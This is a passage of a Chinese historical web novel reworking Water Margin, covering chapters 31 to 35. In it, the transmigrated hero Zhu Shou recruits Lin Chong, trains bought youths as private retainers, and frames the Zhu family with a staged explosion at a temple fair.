男人深情地看着她,轻抚她的发丝,然后又摸出一锭银子放在她手里。 “你知道的,我是走江湖的,没那么多时间陪你。也只能给你些钱了,我的情意无以言表……” 柔软的小手堵住男人的嘴,李瑞兰小嘴轻张,柔声道: “冤家,你的心意奴家都知道。” 她与男人相识多年,把他从一个雏变成了男人,他倒也痴情,总是忘不了她。 李瑞兰知道男人现在是个强人,混迹江湖。可她也不在乎,男人每次都给她好多银子,让她攒着赎身,为此冒些危险也是值得的。 反正现在的山东,强人四起,官府的通缉画像画得又一言难尽。只要装扮好些,行事低调,也查不出什么。 二人坐在桌边吃着饭,李瑞兰挑了个话头,说道: “郎君听说朱将军仗义出手,祝虎自裁的事了吗?现在城里传得可开了,连我的小姐妹们都听说了。” 男人笑了笑,兴致颇高地说:“将军当年在燕云的时候就是一代豪杰,那些契丹人欺负汉人穷苦百姓,将军拔刀而起…… “……朱将军向来信奉的就是两个字“公义”,他是个真正的大英雄,只盼来日能与他开怀畅饮。” “郎君也是大英雄,一定可以的。”李瑞兰笑着说。 男人搂着那销魂的腰肢亲昵了一会,然后才放开李瑞兰。 “走了,今晚我约了几个兄弟。” 男人拿起长长的木棒挑起自己的包裹,深情地看了一眼李瑞兰。 李瑞兰双眼中好似有浓浓秋水般的爱意,小手轻轻拉了拉男人的衣袖。 看着史进离开,李瑞兰心中还是有些小失落。虽是逢场作戏,但这小郎君长相帅气活又好,对她又情真意切,多少还是有点感情的。 当然感情不多,他留给她的钱都被她用了,她才不相信什么爱情,也不想赎身。真赎了身还要和他去闯江湖过苦日子不成? 男人离开了宜春院以后,挑着行李走在街上,步伐洒脱,心情很快愉悦起来。 今天他就要去见心心念念的朱寿哥哥了。 他叫史进,九纹龙史进! 第31章 风雪梁山泊,蛟龙缠虎豹 梁山山顶支着一只大火锅,七八个大汉聚在一旁。 切好的新鲜羊肉被不断放进锅里。 朱寿对着史进说道:“那天的事多谢兄弟了!” 史进连称不敢:“哥哥做的是替天行道的大事,小弟只是略尽绵薄之力。” 旬日前,为了免除嫌疑,朱寿等人进城与知府商谈大事前,找了前来拜访的鲁智深好友——史进,扮演真君。 朱寿当初对付东平府这些士绅豪族的方法就是装扮成真君二郎神,劫道越货。 可官场里的那些老狐狸心都脏,对他自然有怀疑。 好在史进的扮演让他有了不在场证明,虽说不至于完全打消那些老狐狸的怀疑,但也起到了混淆视听的作用。 史进此人颇为幽默风趣,性格豪迈,很快就和众人打成一片。 “史进兄弟,哥哥甚是喜欢你,不如留在梁山与我等一起替天行道,打土豪除恶霸,然后大块分金银。” 鲁智深发出了邀请,众人的目光纷纷落在史进的身上。 “能得哥哥看重,小弟幸甚至哉!只是小弟在少华山有几个结义的兄弟,不能抛下他们。 “容小弟回去与他们商量一番,马上回复哥哥。史进给诸位兄弟赔不是了,先干为敬!” 说完,史进举起酒杯一饮而尽。 史进喜欢结交豪杰,早年与少华山头领不打不相识,后来被人揭发。 华阴县县令派兵包围史家庄,史进和朱武、陈达、杨春一起杀败了官兵,史进不愿落草,远去渭州寻师。 后来结识了鲁智深,史进再往后银两耗尽,又见证了宋末吏治混乱,豪强四起,于是回了少华山与朱武、陈达等人聚义。 朱武等人更是推史进做了大当家,几人情义颇深,史进对他们也很尊重。故而他此时很想留下,依然坚持回去问问少华山兄弟意见。 “来来来,吃酒!其他事以后再说,现在大口吃肉大口喝酒!” 朱寿招呼众人道,他尊重史进的原则与情义。 正好锅中的羊肉已经熟得差不多了。 一众好汉大块而颐,大块大块的羊肉被捞出来,被那些血盆大口吞下。 这一锅羊肉加了葱姜蒜等调料,味道还是很香的。 朱寿一块接一块地吃下五六斤羊肉,又喝了几大碗从辽国带来的蒸馏烈酒。 烈酒配上羊肉火锅,朱寿已经吃得满头大汗,一张脸红扑扑的。 “史进兄弟这一次进城听说是去看望红颜知己了?”朱寿问道。 “嗯,小弟的那老相好叫李瑞兰,是东平府里的艺妓,与小弟相识多年……小弟离得远,还请哥哥多加照顾!”史进说道。 听了史进的话,朱寿心里“咯噔”一下,史进这是动了真情了,有些事不好劝了。 朱寿读原著时挺喜欢史进这个人物,对他的故事记得很清楚。史进被那李瑞兰坑过一次,下了大狱。 都说婊子无情,历史上倒也有过才子名妓善始善终的故事,更多时候都是悲剧。 史进那双痴情的眼睛里流露着对爱情甜蜜的回味,救不了了。 “好,洒家会帮忙照顾的。”朱寿进入到变通状态,对痴情人不能乱说。 一旁的杨雄也是,同样遇上负心人,那位比起史进还更惨。 不过在朱寿的影响下,杨雄的命运已经改变了。 杨雄的老婆潘巧云随他们一起南下,也就没有遇上那个淫邪的和尚。 至于未来怎么样,朱寿就不知道了。 对于好兄弟们,有些话也是不能随便说的,朱寿对距离感拿捏很到位。 而且他主要是带这些人打天下,又不是要照顾他们一生一世。 朱寿也不是那种圣人,他只能说尽力而为。 火锅吃得很爽,一只羊加上十几张饼,后来又上了一锅煮的鱼,足足三尾大鱼,还喝了五坛烈酒。 朱寿足足吃了六斤羊肉、半尾大鱼、三张饼,还喝了五碗酒。 他食量巨大,在这个时代,武将需要的就是不断增强力量、体重,这才撑得住战场上的重甲厮杀。 穷文富武的核心要义就在于武将需要大量的肉蛋堆积长肉。 朱寿保持着大量硬核的训练,饭量那也是敞开了吃,不断加力量,向着绝世猛将努力。 吃饱喝足以后,众人靠在山顶的草屋下看着天上飞起雪来。 休息了一会,鲁智深说:“雪满梁山,劫道良机,众兄弟不妨一起去巡山,若有那强人或士绅护卫来就干一票! “若遇不到,就当去赏雪了,现在梁山泊上一片鹅毛大雪,老美了。” “善!”众人应声道。 ----------------- 广袤的山湖上一片银装素裹,湖面像铺了一层乳白的牛奶。 苍茫的雪路上,一道虎背豹形的身影孤身前行。 此人肩扛一根蛇矛,腰挎一把朴刀,额头系着一条红色绸带,脸上刺着一个金色刺青。 穿过光滑的湖面,他进入山林深处。 看着茫茫一片冰天雪地,他心生苍凉,仰天长啸:“不想我今日被高俅那贼陷害,流落到此,直如此命蹇时乖!” 此人正是那八十万禁军教头林冲,他本老实本分,一心报效朝廷,不成想高衙内看上他家中美娇娘,利用权势对其一顿迫害。 林冲正在为自己悲伤难过,却不想厄运专找苦命人。 嘹亮急促的喝骂声响起,打断了林冲感伤。 “兀那贼配军,雪夜至深山,一看就是烧杀抢掠的惯犯,今天撞在你史爷爷手里,却是不能饶你。” 林冲只见大树之后走出一个持枪披着皮甲的年轻人。 那年轻人脸若银盘,年轻有活力,也就约莫二十岁不到,正是血气方刚的少年小伙。 “小子,敢来触洒家的霉头,非得好生教训你不成。” 林冲自雪夜山神庙以后,心中枷锁松动,血气方刚,容不得这轻狂后生放肆。 踏一片寒冰,林中涌两条杀气。一上一下,似云中虎斗水中龙。 大战一触即发,蛇矛对长枪。 斗来半晌没输赢,战到数番无胜败。 林冲、史进二人大战三十回合未分出胜负。 又有几个人从林中走出,领头的是一个身披熊皮、脸着面甲的巨汉,一把寒光凛凛的九尺长刀往那一杵,气势汹汹。 两人又斗了十余个回合,林冲已逐步占据上风,史进招架间已是抵挡不住。 林冲手中长矛一抖,矛如长龙出海,直奔史进胸口。 “噹~” 一道白色匹练般的刀光闪过,三尖两刃刀已经将长矛压下。 朱寿那庞大的身躯爆发出恐怖的爆发力,身如残影般掠至林冲身前。 “九纹龙退下,让我来!” 第32章 擎天白玉柱,架海紫金梁 雪花纷落,落在矛尖。 铿锵有力的兵锋破空声刺破林间的宁静。 刀光闪过,四五十斤的长刀在强势凌厉的挥舞中化成一条笔直的线。 三尖两刃刀与丈八蛇矛抵在一起,二人双目中绽放出精光。 朱寿凭着恐怖的气力长刀一绞,顺势上挑,巨力爆发,掀起蛇矛。 长刀紧跟而上,那蛇矛却像活了过来一般,狠戾地直奔朱寿面门。 逼得朱寿挥刀格挡,那蛇矛如蛟似蛇,缠斗而上。 九尺长刀对上这精湛凶猛的攻势,防得却是滴水不漏。 那沉重的刀身在朱寿手中变得灵活强悍,一身神力顺着刀身绽放,撞得长矛颤栗。 再一次荡开林冲的长矛后,朱寿趁其势老力疲时,长刀举国头顶,刀光化作一轮残月斩在蛇矛上。 “咔嚓~” 长矛应声而断,其材质本就一般,和金台花巨资为朱寿特质的九尺长刀自是比不了。 林冲风雪山神庙以后漂泊江湖,自是没钱打造一把尚好武器。 长矛断却以后,林冲逆势前冲,然后矮身前铲,从朱寿身侧雪地里滑过。 “噌~”林冲单膝跪地,左手扶住刀柄,右手拔出朴刀。 朱寿并没有立马上前再攻,反而后退几步。 “摸着天,拿我锤来!”朱寿喊道。 一个戴着面具的高个大汉双手抬着一柄金瓜锤过来,那金瓜锤锤身足有拳头那么大。 林冲昔日也是东京八十万禁军教头,对十八般兵器都很熟悉,看到这么大的金瓜锤,有些惊异。 他再看那身披熊皮大衣的巨汉,只觉这就不是人。 “再来!”朱寿大喝一声,挥舞着手中金瓜锤往前冲。 改用锤以后,朱寿招式也不再严整,改为大开大合。 “轰轰轰~”接连三锤狂轰滥炸般倾泻向林冲。 硬碰硬对轰三下以后,林冲被轰得连退数步,只觉胸中气血翻滚。 调整呼吸以后,林冲弓步张开,双手握刀。 双脚踏雪,林冲宛如虎豹般弹起,刀势凶猛地斩向朱寿。 林冲步战身法迅猛,极致的走位配上变化莫测的刀法,别有一番凶险。 朱寿却是不管那些,狂暴挥锤,只求一力破万法。 顶着那千斤巨力,林冲结实的腰背肌肉贲起浮动间卸去那巨力。 战阵厮杀,拼的是身体素质、装备和武艺精湛。 可再精湛的武艺也需要足够的身体素质去施展,比如林冲那一套接化发还得靠顶尖的核心力量。 林冲不是力大无穷的天赋怪,可他经过名师指点,自身又苦练多年,身体锻铸得如同精铁一般。 否则换做常人也受不住那千斤的冲击力,更别谈用顶尖的核心力量卸力了。 一个是刀法精湛,身法迅猛;一个是千钧之势,力大无穷。 架隔遮拦,却似马超逢翼德;盘旋点搠,浑如敬德战秦琼。斗来半晌没输赢,战到数番无胜败。 果真是擎天白玉柱对上了架海紫金梁。 二人战至五十余回合,不分胜负,又斗了十余回合,斗到分际,二人身上气势并发。 锤刀相交,溅起了火星。 朴刀贴着锤面砍过去,砸在朱寿的熊皮甲上。 “噹~”刀砸在皮甲上,没能斩破。 只见那朴刀刀刃被金瓜锤砸得卷刃了,钝扁的刀身砍在皮甲上,自然斩不动。 林冲瞥到那挥至自己头顶的金瓜锤,心中暗道:我命休矣! 金瓜锤带起的劲风吹起林冲额前的一缕散发,最后停在林冲额前。 “豹子头林冲果然是好功夫,若非兵器不利,洒家已是输了!” 朱寿收起金瓜锤,大声称赞道。 刚刚林冲那一刀还是要比他快上一些,仅论近身步战,林冲更胜一筹,而林冲技艺最好的还是枪棒长矛与马战。 “你怎知我姓名?这位大王是何方神圣?”林冲不解地问道。 “吾乃梁山山主——二郎真君是也!” 林冲听得一头雾水,只见那林间又走出一人。 那山岳般的块头,肌肉撑满衣服的大和尚一出来,林冲就认出来了。 正是他昔日好友花和尚鲁智深,林冲流落多时见了故人满是欣喜,连忙打招呼:“大师,好久不见!” 向来豪迈热情似火的鲁智深却和往日不同,只是简单地回道:“教头,又见面了。” 林冲敞开双手,见鲁智深疏离冷淡地只是抱了抱拳,不像当初那般喊兄弟,只是称他“教头”,苦笑一下,双手尴尬握起。 对于往事,林冲心中苦涩,却也明白这是自己自作自受,怪不得鲁智深。 这一幕被朱寿看在眼中,他却没说什么。 气氛尴尬了一会,朱寿提议道:“教头可有要事?” “林某现在孜然一身,不过漂泊江湖,无所事事,只是苟延残喘罢了。” “教头,可愿与我等上山喝一杯?” “小可荣幸之至!” 众人一同上山,行走间朱寿看着身旁的林冲开始思考如何驾驭林冲,又如何给他在自己的势力里定位。 林冲是一个什么样的人,朱寿觉得他就是宋朝禁军的缩影。 大宋禁军很强,可在开国之初,太祖太宗给其上了太多枷锁,这些枷锁已经深入骨髓。 而林冲就是大宋禁军这个庞大整体的拟人具象化,他的人生理念是以儒家思想为框架构建,其中又深受大宋社会价值影响。 “重文抑武”这一套制度在思想上把北宋武人阉割了,太多的框框条条限制了他们。 林冲的人生信条就是做官领俸禄,安安稳稳过日子。除此之外的生活是他所不能接受的。 就像一条鱼被养久了,它已经不适应大江大海的生活了。 为了安稳的生活,林冲可以违背自己的人格,不断退让甚至去讨好他内心看不起的奸臣高俅。 刺配沧州以后,林冲还在想着委曲求全。当鲁智深救下他向他展示反抗的道路时,他还是拒绝。 林冲看待人生没有鲁智深那么豁达通透,他也更加真实,心中有自己的小心思和欲望的黑暗面。 他内心深处抗拒落草,抗拒跳出大宋官场这个稳定的舒适圈,所以他想和鲁智深划清界限。 林冲在风雪山神庙以后也没完全突破思想上的全部枷锁,“规矩”仍然在无形中禁锢着他。 不然他不会上了梁山还被王伦拿捏,也不会抓住高俅以后还杀不了高俅。 他一生都很矛盾,胸中的豪情勇武被规矩、欲望所裹挟,一身纵横天下的本事发挥不出来。 作为读者,朱寿不喜欢林冲;作为枭雄,朱寿很欣赏林冲,这就像当年大明朝那些醉心仕途的官员,非常好用。 上了山以后,众人齐至聚义厅,朱寿又让人给林冲拿了些酒肉。 林冲很是感动,坐在那就开始狼吞虎咽。 “教头,你的事洒家都听说了,下一步准备怎么办?”朱寿问道。 “林某已经无处可去,若是大王不嫌弃,林某愿为大王效死。”林冲回道。 鲁智深皱起了眉,想说什么却又忍了回去。 朱寿把这一幕尽收眼底,转而对林冲说道:“林教头这一身的本事不该埋没于此,洒家手上倒是有个活计想委托给教头。” “只要是林某能做的,定当肝脑涂地!” “洒家准备培养一批家将,初期不方便带在军中,故而寻了一个僻静庄子想请教头帮忙调教。”朱寿说道。 “蒙大王收留之恩,林冲定当尽心竭力。”林冲听到“家将”时有些疑惑,不过一看满屋的面具,心下了然。 其实就是私兵,大宋虽然重文抑武,但武将也被允许有少量私兵,一般叫家将家丁,例如杨家将、呼家将、折家将等。 家将私兵在精不在多,主要是有自己供养。朱寿的目标是把他们打造成明中后期的武将家丁,战斗力强悍且精通十八般武艺。 现在以他燕云义军整编出来的虎翼军战斗力堪称精锐,可在即将到来的乱世中还是不够稳妥。 因此他准备打造一支私人敢勇,不仅可以危局时救命,还可以在军中逐步提拔,然后增强自己对军队的掌控力度。 解决了林冲的问题,朱寿心底满意,也避免了鲁智深与林冲共事的尴尬局面。 至于二人的和解只能看时机了,反正现阶段也影响不了自己的谋划。 朱寿也没再弄什么投名状的戏码,毕竟林冲都把陆谦等人砍了,别说高俅还在朝堂了,就算没高俅,林冲也回不去了。 陆谦是都虞候,官职相当于朱寿的副职,已经中上层的官员了。林冲砍了他已经算杀官造反了。 酒足饭饱以后,林冲被暂时安排在梁山客房休息一晚。 睡上柔软的床榻,林冲只感觉疲惫的身心放松下来。 窗外的明月今晚很圆,那漫天的风雪被阻隔在墙壁之外。 逃亡多日,林冲终于又找到了安身之所。 第33章 我有一计 宣和二年(公元1120年)在寒冬中到来,天气更加严寒。 大宋官家宣布大赦天下,除了造反谋逆和穷凶极恶的罪犯都得到了赦免。 水浒中的宋押司就在大赦之列,不过朱寿并不在乎这些,搬新家可把他累坏了。 朱寿在东平府购置的府邸也修缮的差不多了,正好新年搬进城里。 一众尾随他在燕云出生入死的兄弟也被请到了府邸过节。 “噼里啪啦”的爆竹声显得火热,广阔气派的大院子里摆了十几桌酒肉。 天井里,军汉们穿着气派,共同站起身来,举着酒杯给朱寿敬酒。 “祝将军年年有余,岁岁有今朝!”整齐庆贺声高昂真切。 去年年初,他们还是一群被辽国赋税压得喘不过气来的破产农民,今年画风一变,大家都成了将官,还在南边过上了好日子。 而这一切都是朱寿带着他们打拼出来的,他就是他们心中的神! “喝!”朱寿将酒杯举过头顶,然后豪迈地饮尽。 酒肉一盘接一盘不断上,清蒸鱼肉、东坡肉、五香牛肉、鲜切羊肉、鸡、鸭、鹅……应有尽有。 “别只吃肉把肚子给撑破了,来吃点菠菜,强胃健脾……”答里孛看朱寿狼吞虎咽地吃饭,往碗里放了不少菠菜。 朱寿也是来者不拒,菠菜就着肉大碗大碗地吃。 “娘子……你怎么不吃,是不是身子有些不舒服,要不要叫郎中?”朱寿两腮撑得满满的,眼中布满关心。 看着他的样子,答里孛只觉有趣,伸手戳了戳他的腮帮子,然后说道:“我没事,谁要你管了。” 答里孛稍微吃了一些以后就累了,朱寿轻轻摸了摸她隆起的肚子,然后让人扶着她去后院休息。 自从怀孕以后,答里孛每顿都吃不了太多,只能少食多餐,最近还很容易犯困。 每天处理完公务以后,朱寿都会抽一个时辰陪陪她,生涯第一次当父亲的朱寿很是惶恐紧张。 他巴不得把答里孛供起来,深怕她出事。 不过答里孛却反而要求他陪她做些拉伸筋骨的活动,朱寿被吓得问她真得可以吗。 她给朱寿解释草原上那些契丹妇人临产前还在放牧,而生产出现生命危险的几率小于那些养尊处优的贵妇。 朱寿听了只觉得很是震惊,不过心里还是很相信她的。 饭吃得差不多了以后,不少将官辞别离开,石秀等心腹留了下来。 “人都送过去了吗?”朱寿问道。 “嗯,签上身契以后都送过去了。”石秀答道。 “你觉得林冲怎么样?” “林教头教得还是很用心的,现在差不多有一百多号人了,哥哥还招人吗?” “暂时不招了,这一波让林冲按之前的方案筛选出好苗子。” 自招揽了林冲以后,朱寿就开始实施培养家将的计划。 他让石秀私下买了一批受灾的少年,年纪普遍在十四岁到十六岁。 现在山东灾荒很多,不少佃户破产,家中孩子自是养不起了。 石秀就从中选取精壮强健的签下身契,然后交给林冲训练 林冲先教他们一个月,从中观察然后选出练武的好苗子再多加培养,作为家兵。 至于被淘汰的就只能往养马、送货这些方面培养成普通家仆。 早先王伦曾建议他可以先送到山庄选拔后,再签身契,这样还能节约不少钱粮。 可朱寿拒绝了,培养私兵这事得慢慢来,过程要低调,事情需要保密性,不能放少年们离开,知道此事的人就得喝他绑死。 做大事不能太小气,王伦就是缺一些气度。 交代完培养家丁的事,朱寿又与众人讲了一些接下来几天慰劳军中士卒的事。 其实就是过年去士兵们那送些肉,带着士兵们比赛相扑、射箭之类的活动,有助于增加威望和提高军队凝聚力。 士兵们都是从燕云背井离乡来这里,人生地不熟地度过一个异乡春节。 此时组织好活动让大家有归属感,能收拢人心。 “将军,日三日后知府大人邀请你一起去参加庙会。”王伦在规划时间时提醒道。 “哦,又能见到知府大人了。”朱寿笑了,不知道那只老乌龟再见自己会是什么表情。 “只是那知府也不是省油的灯啊,将军还需早做打算。”王伦有些忧心地说道。 自那日干掉祝虎以后,他和知府是撕破脸了。 接下来就是全力弄死祝家,然后再对付知府。 干掉祝虎以后,祝朝奉那老王八真能忍,硬生生把这个亏咽了下去,一时没漏出破绽。 不过东平府这个官绅豪族的联盟也并非坚不可摧,祝家三个儿子飞扬跋扈还是树敌不少的。 “那祝龙能下床了吗?”朱寿问道。 “找了给他看病的郎中了解,他现在走路还不稳,暂时跑不了。” 朱寿的大手放在王伦肩上一把搂住,然后笑道:“诸位,我有一计可除祝家………… “……过两天叫时迁下山。” ----------------- 三柱长香上升起缕缕青烟漫过牌位。 一身白色丧服的祝龙跪在弟弟祝虎的灵前。 数不尽的纸钱洒在火盆中,还有一个接一个的元宝被丢入火盆。 “二弟,你在下面多买点好吃的,你的仇别担心,哥一定替你抱!”祝龙说着说着又落下了眼泪。 他们兄弟二人小时候也会争执打架,他知道弟弟有很多小心思,可他不在意,因为他们是兄弟。 现在那个时常喜欢占小便宜的机灵弟弟变成了一具冰凉的尸体,他的心很痛。 “大公子回家吧!” 一只强劲有力的大手放在祝龙肩上,身穿白色丧服的高大男人站在祝龙身后。 “师傅,虎子的仇就不报了吗?” 祝龙抱住高大男子的脚哭了出来,最近他经历了太多,小弟弟被射爆了,二弟也死了。 高大男子正是祝龙的师傅,独龙岗第一高手——栾廷玉。 五日前,听说了祝虎死讯后,祝朝奉派栾廷玉前来处理后事。 栾廷玉说道:“虎子和你的仇一定会报,但现在听老爷的话,伤好些以后先回家,从长计议!” 祝氏三兄弟是栾廷玉从小看着长大的,视若亲子,如今他也是心碎不已。 可现在不能冲动,他要把祝龙尽快带回去。对面已经在下死手了,若不是祝龙伤势未好不能远行,他已经将其绑回去了。 祝龙情绪稍微平静下来,突然门外走来一人,人未近,声先到。 “二公子,你死得好惨啊!哥哥来看你了!” 来人一身白衣,手上还抱着一筐花,脸上涕泪横流。 “拜见董将军。”栾廷玉、祝龙二人连忙起身行礼。 “免礼免礼,”董平摇摇手,然后直接跪在地上,对着祝虎灵位嚎啕大哭,“兄弟,我们约好一起吃饭的啊!” 董平和祝虎是酒肉朋友,两人都喜欢风花雪月,自有一番交情,不过交情也只是泛泛之交。 看到董平,栾廷玉微微皱眉,董平向来无事不登三宝殿,以往来找几个公子都是打秋风的,今日来必定有事。 祝龙却是没想那么多,看着董平哭,又勾起了他心中悲伤。 “董将军,我二弟之前也是为了你才劫的姓朱的马,你要为他报仇啊!” “兄弟都是洒家害了你啊!” 董平直接往棺材上一抱,抱着棺材哭:“兄弟别急,我有一计,马上送姓朱的下去陪你!” 第34章 庙会 “大公子,你先养伤,姓朱的跑不了,董某先告辞了。” 送走董平以后,祝龙扶着墙抹眼泪。 栾廷玉上前拍拍他的背,就像小时候教他习武时那样。 “师傅你放心,董平的谋划太险,我不会轻易以身犯险的。” 祝龙好像懂事了不少,经此一劫若能幸存,日后必有长进。 “江湖太凶险,以前都是你父亲一肩担着,以后多和他学学,替他分担些吧。” 栾廷玉只觉得以前还是太娇纵这几个弟子了,他们在家被宠,又没闯荡过外面的世界,养成了飞扬跋扈的性格,才有今日之祸。 这一劫对于祝家来说是要伤筋动骨了,要扛过去只怕不容易。 那朱寿不愧是从燕云尸山血海里杀出来的,手段又狠又猛。 接下来还有雷霆之势,不知祝老爷如何应对了。 ----------------- 清晨,朱寿从睡梦中醒来。 枕边人已经起了,她穿着轻纱,露着两只欺霜胜雪的胳膊。 “来吃了,吉祥。” 葱茏纤指递过一块橘子,朱寿张嘴吃下,有些凉意。 “吉祥。” 朱寿也说道,其实她一贯是不信这些风俗的,可昨晚女人交待过他。 他不是怕老婆,只是不想和情绪复杂多变的女性争吵。 “快回去睡着吧,天色还早,衣服我自己会穿……” 女人一个眼神打断了朱寿的话,他不和孕妇争论,乖乖穿衣服。 话说这女人是自己抢回来的,怎么这么凶? 穿戴好衣服后,朱寿抱了抱答里孛,安抚一下这冷艳美人,然后就去赴约庙会。 庙会在城外村社中举行,十里八乡的大宗族都来参加。 在乡土社会里这是头等的大事,各级官员都会卖个面子出场。 各乡的保正还有各县押司都会来,知府也会在这个时间点和各级官员有一个交流。 这其实是官府对基层统治力的维护活动,相当于千年后的指导工作。 庙会虽然只是一个传统形式,并非朝廷惯例,但毕竟是高级官员与乡土底层小吏的一个交流,所以排场还是要搞起来。 村社准备很充足,去城里请来了官方的乐班子,吹拉弹唱全部到齐。 然后就是杀猪宰鸡敬神。 几千号人聚在一起,看完表演以后就是摆开大长桌开始上菜。 各家各户的小孩就开心了,能见着荤腥了。 别看朱寿在城里时常大鱼大肉地吃,可这一时期宋朝百姓的生活水平还是很难见荤腥的。 这些半大小孩也只有过年能吃上肉,此时见了肉那自然两眼放光。 吃饱喝足以后,府里的官员一起上前在土地庙前再上一炷香,朱寿也在其中。 这回拜的是土地,连知府也要拜。 在汉人的文化里,种地是最重要的,土地深受汉人的崇拜与敬畏。 正拜着那一抹黄土,一股子刺鼻苦咸的味道涌起。 董平猛吸两口,四下张望,正在寻找什么,突然只听朱寿大叫一声“有硝石!” 朱寿一把提起知府往从台阶上一跃而下,无数官员连滚带爬地跳落下去。 “轰隆隆~” 剧烈的爆炸声响起,宛如天降神雷。 巨大的庙社直接被轰塌,一时间尘土四起。 朱寿爬起身以后大声喊道:“快,捉拿反贼!” 硝石在大宋是违禁物品,用那么多硝石来炸朝廷令官,已经是抄家灭门的大罪了。 他的亲兵很快就冲到他身旁,石秀一脸担心地问:“大人,可有事?” 朱寿道:“洒家无妨,快去捉拿反贼!” 知府缓过神来以后,大声叫道:“一个也不能放过,快!” 董平和王都头在知府的号令下立马动兵,今天衙门还是调来不少人手巡逻。 很快在硝烟中一张巨大的搜捕网铺开。 不多时,王都头突然叫道:“反贼在哪!哪里跑?” 只见林间闪过一道瘦小的身影,一众官军追上。 随着线索出现,又有大量军汉去追,知府终于放下心来,往朱寿身旁又站近些。 剩余在场护卫经过清点后,发现没有人遇难,伤者数人,都是官员,百姓除了被吓一跳,也没什么事。 这个时代火药的威力有限,主要依靠火药爆炸声势。 安抚住百姓后,知府立马让护卫护送其回城。 走到一半,遇见了王都头,知府连忙问道: “人可抓到了?” “还未曾抓到,那人轻工了得,身法敏捷,速度快,弟兄们一时追不上!不过禁军的兄弟们跟上了,想来马上就有结果。” 知府点点头,然后紧跟在朱寿身旁。 朱寿命杜迁、宋万带五十余人开路,他带着大部人马紧跟其后。 到得城门口,只见城中硝烟滚滚。 刚一进城,就看到城中混乱四处都在喊:“走水了!” 走了一会又撞见石秀,朱寿连忙问道:“可抓到贼人?” “贼人有同伙接应,进城后贼人往城南祝家别院去了,杨雄、董将军已带人去搜捕了。”石秀答道。 知府又问:“你可知哪里走水了?” “末将不知,末将听董将军的令正在封锁街道,尚不清楚城中局势。” 正在此时,突然杜迁跑过来,一把抱住朱寿的脚说:“大哥不好了,你家走水了!宅子大半都烧没了……” 朱寿听完两眼无神,悲痛喊道:“夫人!!!” 然后不待杜迁说完,他两眼一闭,整个人往后一倒正好倒在石秀怀里。 众人忙掐他人中,可他却悲痛万分,迟迟不能醒来。 知府很是着急,手足无措。 突然前面爆发出厮杀声,吓得知府两脚发麻,一屁股坐在地上。 待得厮杀声平息,董平带兵过来。 “大人可好?”董平对着知府问道。 “无甚大碍,情况如何?” “刚刚属下与杨指挥在祝家仓库里发现十余斤火药残渣,然后在缴械祝家众人时,祝龙不知何故突然暴起袭击杨指挥,场面失控。 “祝家趁乱杀出,城中走火百姓惊慌,那栾廷玉武功高强无人能挡,率部杀出去了。” 董平解释完以后,知府陷入沉默,良久说道:“私藏火药,谋害朝廷命官,这是造反啊。” 另一边朱寿也醒了过来,杜迁忙说:“哥哥,嫂嫂没事。走水时,她刚好去郎中那开药。” “还好还好,”朱寿一副如释重负的样子,转而暴跳如雷,喝道:“是谁干的?” “现在具体情况还不清楚,不过种种迹象表明是祝家干的!”石秀说道。 “原来如此,快传我命令,让叔夜调兵封锁东平府各路要道,诸位随我回军营准备平叛!” 朱寿身上气势陡然一变,肃杀之气溢于言表。 禁军驻扎地方受到诸多限制,一般的匪患、治安都是交给厢兵,惟有叛乱由禁军直接动手。 当祝府在众目睽睽下搜出硝石的那一刻,就是叛乱了。 现在开始就能动兵了。 第35章 阳谋 “中计了!” 栾廷玉用长枪杵地,整个人跪在雪地里,血染白衣。 一旁的祝虎摊在破损的马车上,如同一滩烂泥。 一众家丁所剩无几,寥寥几人尽皆重伤。 回想起今天的变故,栾廷玉知道他们中计了。 当官军冲进来搜查时,他们所有人的神经紧绷。 看到硝石的那一刻,他心里“咯噔”一下,他没想到朱寿的打击来得这么快,这么难以预料。 正当他心乱如麻时,不知杨雄对祝龙讲了什么,祝龙突然暴走。 师徒二人相视一眼,祝龙眼角止不住地流泪。 祝龙确实只是中人之姿,一身武力全是靠充足的肉食与高手指点堆上去的,智谋方面还不及中人。 他从小到大没有经历过任何打击,所以思虑不周,易怒暴躁。 对方有备而来,杨雄言语稍加撩拨,他就炸了。 这一刻在师傅喝破计谋时,他也知道上当了。 朱寿的计策称不上周全,就是主打一个出其不意,打他们措手不及。 若是当时能忍下来,靠着祝家在州府里积攒下来的关系,案子还有得查。 以祝朝奉的缜密思维,祝家尚还有一线生机。可是祝龙拔刀的那一刻,全完了。 “师傅杀了我吧,我回不去了!”祝龙生无可恋地说道,他不想再拖累师傅。 祝龙的伤势才刚刚有所好转,今天这一波厮杀又伤了,走不了了。 栾廷玉陷入了沉默,他心中已经生出死意,准备去冲虎翼军大营,见识见识燕云第一猛将的实力。 “我们不能都死在这啊,师傅得有人回去和我爹报信,让他早做安排!”祝龙恳求道。 他们现在被朝廷大军包围,只有栾廷玉有机会凭借高超武艺从小道杀出去。 月下师徒二人抱头痛哭,一阵马蹄声打断了这情深意切的场面。 栾廷玉提起长枪,对准来人。 来者一人一马,马是白马,手持双枪,枪一长一短。 “董平,你也是来拿我们人头去换赏钱的吗?”栾廷玉的目光锁定了白马的脖颈,冷厉地说道。 “不不不,董某岂是卖友求荣之人?”董平连连否定。 “再说了,你们以为能在这里休息半天是谁的功劳。要不是董某,你们师徒二人此刻只怕已经成了虎翼军军旗下的人头了。” 董平说完以后把武器往得胜钩上一放,然后翻身下马。 “错怪将军了。”栾廷玉收起长枪。 “今天,你们师徒都不会死。教头可以速速回去报信,我有一个藏身之地可以让公子养伤。” “将军有什么需要?” “洒家别无所求,毕竟我们是朋友,而且我们有共同的敌人。” ----------------- “现在人证物证俱在,是时候出兵讨平祝家庄了。” 森然的步人甲,杀气腾腾的虎翼军,还有那貌若神君的男人,无不让知府骇然。 这一刻,知府第一次感受到五代时期文人对武将那种深入骨髓的恐惧。 明明对方只是在按规矩办事,可那恐怖的气势让人为之动容。 “府君大人盖个章,我等便去平叛,这正是大人展现果决的时候。”朱寿对知府说道。 现在祝家已经被定性为造反了,接下来就是平叛。 不过平叛所需要调兵得有文书作保,相当于知府得开一个对于祝家造反需要动用外驻禁军的情况说明。 知府也知道祝家庄是保不住了,无论那硝石是谁放的,已经不重要了。 现在就算公事公办,让包青天来查,按照大宋律法走,只要搜查祝家庄,祝家庄就得完。 祝朝奉藏了多少盔甲没人知道,太祖规定,藏甲过三,满门抄斩。 祝家现在只能硬着头皮打,知府现在也只能推波助澜,死道友不死贫道了。 朱寿这一招其实就是阳谋,并不高明也不缜密,就是快准狠。 抓住祝家庄底子不干净打出致命一击。 府君拿出印玺盖上章,一切就尘埃落定了。 “接下来就拜托将军了!” 